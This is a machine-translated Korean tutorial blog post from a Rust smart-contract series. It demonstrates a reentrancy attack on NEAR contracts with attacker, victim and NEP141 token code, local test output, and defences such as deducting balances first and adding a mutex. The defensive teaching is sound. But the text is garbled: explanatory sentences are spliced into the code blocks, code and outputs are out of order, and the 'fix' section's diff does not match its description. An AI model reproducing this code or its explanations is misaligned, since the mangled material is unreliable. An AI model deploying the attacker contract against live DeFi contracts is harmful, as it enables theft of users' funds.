Rust 스마트 컨트랙트 개발일지 (5)
BlockSec
2022-03-29 10:33
本文约7055字,阅读全文需要约28分钟
Rust 계약 보안 재진입 공격.

관련 기사:

Rust 스마트 컨트랙트 개발일지 (1) 컨트랙트 상태 데이터 정의 및 메소드 구현https://github.com/blocksecteam/near_demo

Rust 스마트 계약 개발 일기 (2) Rust 스마트 계약 단위 테스트 작성

그림

Rust 스마트 계약 개발 일기 (2) Rust 스마트 계약 단위 테스트 작성

Rust 스마트 컨트랙트 개발일지 (3) Rust 스마트 컨트랙트 배포, 함수 호출 및 Explorer 활용

Rust 스마트 컨트랙트 개발일지 (3) Rust 스마트 컨트랙트 배포, 함수 호출 및 Explorer 활용

Rust 스마트 컨트랙트 개발일지 (4) Rust 스마트 컨트랙트 정수 오버플로

이번 호에서는 Rust 계약의 재진입 공격을 보여주고 개발자를 위한 해당 제안을 제공합니다. 이 기사의 관련 코드는 BlockSec의 Github에 업로드되어 있으며 독자가 직접 다운로드할 수 있습니다.

보조 제목

1. 재진입 공격의 원리

그림

  • 우리는 재진입 공격을 이해하기 위해 실생활에서 간단한 예를 사용합니다. 즉, 사용자가 은행에 현금 100위안을 가지고 있다고 가정하고 사용자가 은행에서 돈을 인출하려고 할 때 먼저 창구 A에게 알립니다. : "60위안을 원합니다." 이때 창구A는 사용자의 잔액을 100위안으로 확인하고, 사용자가 인출하고자 하는 금액보다 잔액이 많으므로 먼저 사용자에게 현금 60위안을 건넨다. 그러나 창구 A가 사용자의 잔액을 40위안으로 업데이트할 시간을 갖기도 전에 사용자는 옆집으로 달려가 다른 창구 B에게 "60위안을 인출하고 싶습니다"라고 말하고 창구에서 방금 인출한 사실을 숨겼습니다. 돈 사실. 창구 A가 사용자의 잔액을 업데이트하지 않았기 때문에 창구 B는 사용자의 잔액이 여전히 100위안인지 확인하므로 창구 B는 망설임 없이 계속해서 사용자에게 60위안을 건네줄 것입니다. 최종 사용자는 실제로 현금 120위안을 받았는데, 이는 이전에 은행에 보관한 현금 100위안보다 많은 금액입니다.

  • 왜 이런 일이 일어났습니까? 그 이유는 창구 A가 사용자의 계좌에서 사용자의 60위안을 미리 인출하지 않았기 때문입니다. 창구 A가 금액을 미리 공제할 수 있는 경우. 사용자가 을에게 출금을 요청하면 을은 사용자의 잔액이 갱신되어 잔액(40위안)보다 더 많은 현금을 인출할 수 없음을 알게 됩니다.

아래 섹션 2에서는 먼저 관련 배경 지식을 소개하고 섹션 3에서는 NEAR 체인에 배포된 스마트 계약에 대한 코드 재진입의 유해성을 반영하기 위해 NEAR LocalNet의 특정 재진입 공격 예를 보여줍니다. 이 기사의 끝에서 Rust 스마트 계약을 더 잘 작성할 수 있도록 재진입 공격에 대한 보호 기술을 자세히 소개합니다.

보조 제목

2. 배경 지식: NEP141의 이전 작업

  • NEP141은 NEAR 퍼블릭 체인의 대체 가능 토큰(이하 토큰이라고 함) 표준입니다. NEAR의 대부분의 토큰은 NEP141 표준을 따릅니다.

    사용자가 탈중앙화 거래소(DEX)와 같은 특정 풀에서 일정량의 토큰을 예치하거나 출금하고자 할 때 해당 계약 인터페이스를 호출하여 특정 작업을 완료할 수 있습니다.

  • DEX 프로젝트 계약이 해당 인터페이스 기능을 실행할 때 토큰 계약의 ft_transfer/ft_transfer_call 기능을 호출하여 정식 전송 작업을 실현합니다. 이 두 함수의 차이점은 다음과 같습니다.

    토큰 컨트랙트에서 ft_transfer 함수를 호출할 때 전송 받는 사람(receiver_id)은 EOA 계정입니다.

  • #[near_bindgen]
    #[derive(BorshDeserialize, BorshSerialize)]
    pub struct VictimContract {
       attacker_balance: u128,
       other_balance: u128,
    }
    impl Default for VictimContract {
       fn default() -> Self {
           Self {
               attacker_balance: 100,
               other_balance:100
          }
      }
    }

Token 컨트랙트에서 ft_transfer_call 함수를 호출할 때 전송 받는 사람(receiver_id)은 컨트랙트 계정입니다.

ft_transfer_call의 경우 거래 개시자(sender_id)의 이체 금액을 먼저 차감하고 양수인 사용자(receiver_id)의 잔액을 늘리는 것 외에도 receiver_id 컨트랙트에 ft_on_transfer(코인 수집 기능)라는 기능을 추가합니다. ) 교차 계약 통화의 경우. 이때 토큰 계약은 사용자가 지정된 양의 토큰을 입금했음을 receiver_id 계약에 상기시킨다는 것을 여기에서 간단히 이해할 수 있습니다. receiver_id 계약은 ft_on_transfer 기능에서 자체적으로 내부 계정의 잔액 관리를 유지합니다.

#[near_bindgen]
#[derive(BorshDeserialize, BorshSerialize)]
pub struct FungibleToken {
   attacker_balance: u128,
   victim_balance: u128
}
impl Default for FungibleToken {
   fn default() -> Self {
       Self {
           attacker_balance: 0,
           victim_balance: 200
      }
  }

보조 제목

  • 3. 코드 재진입의 구체적인 예

다음과 같은 세 가지 스마트 계약이 있다고 가정합니다.

impl MaliciousContract {    
pub fn malicious_call(&mut self, amount:u128){
       ext_victim::withdraw(
           amount.into(), 
          &VICTIM, 
           0, 
           env::prepaid_gas() - GAS_FOR_SINGLE_CALL
          );
  }
...
}

  • 계약 A: 공격자 계약;

  • impl VictimContract {
       pub fn withdraw(&mut self,amount: u128) -> Promise{
           assert!(self.attacker_balance>= amount);
    공격자는 이 계약을 사용하여 후속 공격 트랜잭션을 구현합니다.
           ext_ft_token::ft_transfer_call(
               amount.into(), 
              &FT_TOKEN, 
               0, 
               env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
              )
              .then(ext_self::ft_resolve_transfer(
                   amount.into(),
                  &env::current_account_id(),
                   0,
                   GAS_FOR_SINGLE_CALL,
              ))
      }
    ...
    }  
  • 계약 B: 피해자 계약.

DEX 계약의 경우. 초기화 당시 Attacker 계정의 잔액은 100이고 다른 DEX 사용자의 잔액은 100입니다. 즉, DEX 계약은 현재 총 200개의 토큰을 보유하고 있습니다.

  • 계약 C: 토큰 계약(NEP141).

  • #[near_bindgen]
    impl FungibleToken {
       pub fn ft_transfer_call(&mut self,amount: u128)-> PromiseOrValue{
    공격 전에는 공격자 계정이 Victim 컨트랙트에서 현금을 인출하지 않았기 때문에 잔액은 0이었습니다. 이때 Victim 컨트랙트(DEX)의 잔액은 100+100=200이었습니다.
           self.attacker_balance += amount;
           self.victim_balance   -= amount;
    다음은 코드 재진입 공격의 특정 프로세스를 설명합니다.
           ext_fungible_token_receiver::ft_on_transfer(
               amount.into(), 
              &ATTACKER,
               0, 
               env::prepaid_gas() - GAS_FOR_SINGLE_CALL
              ).into()
      }
    ...
    }
  • Attacker 컨트랙트는 악의적인 호출 기능을 통해 Victim 컨트랙트(컨트랙트 B)의 인출 기능을 호출합니다.

  • #[near_bindgen]
    impl MaliciousContract {
       pub fn ft_on_transfer(&mut self, amount: u128){
    예를 들어, 이 시점에서 공격자는 계약 B에서 60을 인출하기를 희망하면서 인출 기능에 amount 매개 변수의 값을 60으로 전달합니다.
           if self.reentered == false{
               ext_victim::withdraw(
                   amount.into(), 
                  &VICTIM, 
                   0, 
                   env::prepaid_gas() - GAS_FOR_SINGLE_CALL
                  );
          }
           self.reentered = true;
      }
    ...
    }
  • 컨트랙트 B에서 assert!(self.attacker_balance>= amount);는 인출 기능 초기에 Attacker 계정에 충분한 잔액이 있는지 확인합니다. 이때 잔액은 100>60이며 이후 인출 단계는 어설션을 통해 실행됩니다.

  • // 공격자의 코인 수집 함수 호출

  • 계약 B의 인출 기능은 계약 C(FT_Token 계약)의 ft_transfer_call 기능을 호출합니다.

  • 위의 코드에서 ext_ft_token::ft_transfer_call을 통해 교차 계약 호출이 실현됩니다.

계약 C의 ft_transfer_call 기능은 공격자 계정의 잔액 = 0 + 60 = 60, 피해자 계약 계정의 잔액 = 200 - 60 = 140을 업데이트한 다음 다음을 통해 계약 A의 ft_on_transfer "토큰 수집" 기능을 호출합니다. ext_fungible_token_receiver::ft_on_transfer.

$ node Triple_Contracts_Reentrancy.js 
Finish init NEAR
Finish deploy contracts and create test accounts
Victim::attacker_balance:3.402823669209385e+38
FT_Token::attacker_balance:120
FT_Token::victim_balance:80

// 공격자의 코인 수집 함수 호출

계약 A가 공격자에 의해 제어되고 코드에 악의적인 동작이 있기 때문입니다. 따라서 "악의적인" ft_on_transfer 함수는 ext_victim::withdraw를 다시 실행하여 계약 B의 철회 함수를 호출하여 재진입 효과를 얻을 수 있습니다.

//악의적 컨트랙트 코인 수집 기능

피해자 계약의 attack_balance는 인출이 마지막으로 입력된 이후로 업데이트되지 않았기 때문에 여전히 100이므로 assert!(self.attacker_balance>= amount)의 검사는 여전히 이 시점에서 통과될 수 있습니다. 인출 후 ft_transfer_call 함수는 FT_Token 계약에서 다시 계약 간에 호출되며 공격자 계정의 잔액 = 60 + 60 = 120, 피해자 계약 계정의 잔액 = 140 - 60 = 80;

#[near_bindgen]
impl VictimContract {
   pub fn withdraw(&mut self,amount: u128) -> Promise{
       assert!(self.attacker_balance>= amount);
     self.attacker_balance -= amount;
ft_transfer_call은 공격자 계약의 ft_on_transfer 함수를 다시 호출합니다. 컨트랙트 A의 ft_on_transfer 함수는 현재 한 번만 철회 함수에 재진입하기 때문에 이번에 ft_on_transfer가 호출되면 재진입 동작이 종료됩니다.
       ext_ft_token::ft_transfer_call(
           amount.into(), 
          &FT_TOKEN, 
           0, 
           env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
          )
          .then(ext_self::ft_resolve_transfer(
               amount.into(),
              &env::current_account_id(),
               0,
               GAS_FOR_SINGLE_CALL,
          ))
  }   #[private]
   pub fn ft_resolve_transfer(&mut self, amount: u128) {
       match env::promise_result(0) {
           PromiseResult::NotReady => unreachable!(),
           PromiseResult::Successful(_) => {
          }
           PromiseResult::Failed => {
그 후 함수는 이전 호출 체인을 따라 단계적으로 반환되어 계약 B의 철회 함수에서 self.attacker_balance를 업데이트할 때 self.attacker_balance = 100 -60 -60 = -20이 됩니다.
self.attacker_balance가 u128이고 safe_math가 사용되지 않기 때문에 정수 오버플로가 발생합니다.
self.attacker_balance += amount;  
          }
      };
  }

최종 실행 결과는 다음과 같습니다.

$ node Triple_Contracts_Reentrancy.js 
Finish init NEAR
Finish deploy contracts and create test accounts
Receipt: 873C5WqMyaXBFM3dmoR9t1sSo4g5PugUF8ddvmBS6g3X
      Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Smart contract panicked: panicked at 'assertion failed: self.attacker_balance >= amount', src/lib.rs:45:9"}}
Victim::attacker_balance:40
FT_Token::attacker_balance:60
FT_Token::victim_balance:140

즉, 사용자 Attacker가 DEX에 잠근 FungibleToken 잔액은 100에 불과하지만 Attacker가 실제로 받는 전송량은 120이므로 이 코드 재진입 공격의 목적을 실현합니다.

보조 제목

4. 코드 재입력 방지 기술

4.1 먼저 합계 및 상태를 업데이트(먼저 금액 공제)한 다음 송금

컨트랙트 B 코드 철회의 실행 로직을 다음과 같이 변경합니다.

// 공격자의 코인 수집 함수 호출

   pub fn withdraw(&mut self,amount: u128) -> Promise{
       assert!(self.attacker_balance>= amount);
// ext_ft_token::ft_transfer_call 교차 계약 호출 전송이 실패한 경우,
       ext_ft_token::ft_transfer_call(
           amount.into(), 
          &FT_TOKEN, 
           0, 
-           env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
+           GAS_FOR_SINGLE_CALL * 3
          )
          .then(ext_self::ft_resolve_transfer(
               amount.into(),
              &env::current_account_id(),
               0,
               GAS_FOR_SINGLE_CALL,
          ))
  }

// 그런 다음 이전 계정 잔액 상태 업데이트를 롤백합니다.

$ node Triple_Contracts_Reentrancy.js
Finish init NEAR
Finish deploy contracts and create test accounts
Receipt: 5xsywUr4SePqfuotLXMragAC8P6wJuKGBuy5CTJSxRMX
      Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Exceeded the prepaid gas."}}
Victim::attacker_balance:40
FT_Token::attacker_balance:60
FT_Token::victim_balance:140

이때 Victim 컨트랙트는 출금 시 사용자의 잔고를 미리 갱신하였기 때문에 외부 FungibleToken을 호출하여 이체를 구현하고 있음을 알 수 있습니다. 따라서 2차 출금 재입력시 Victim 컨트랙트에 저장된 attack_balance가 40으로 업데이트 되었기 때문에 assert! 코드 재진입이 있는 Assertion Panic Arbitrage로 인해 트리거됨.

4.2 뮤텍스 소개

이 방법은 창구 A가 사용자의 잔액을 40위안으로 업데이트할 시간이 없을 때 사용자가 옆집으로 달려가 다른 창구 B에게 "60위안을 인출하고 싶습니다"라고 말하는 것과 유사합니다. 이용자는 지금 A창구에서 돈을 인출한 사실을 숨겼다. 다만, 을창구는 이용자가 갑창구를 방문하여 모든 사항을 완료하지 않은 사실을 알 수 있으며, 이때 창구갑은 사용자의 출금을 거부할 수 있습니다. 일반적으로 뮤텍스는 상태 변수를 도입하여 구현할 수 있습니다.

BlockSec
作者文库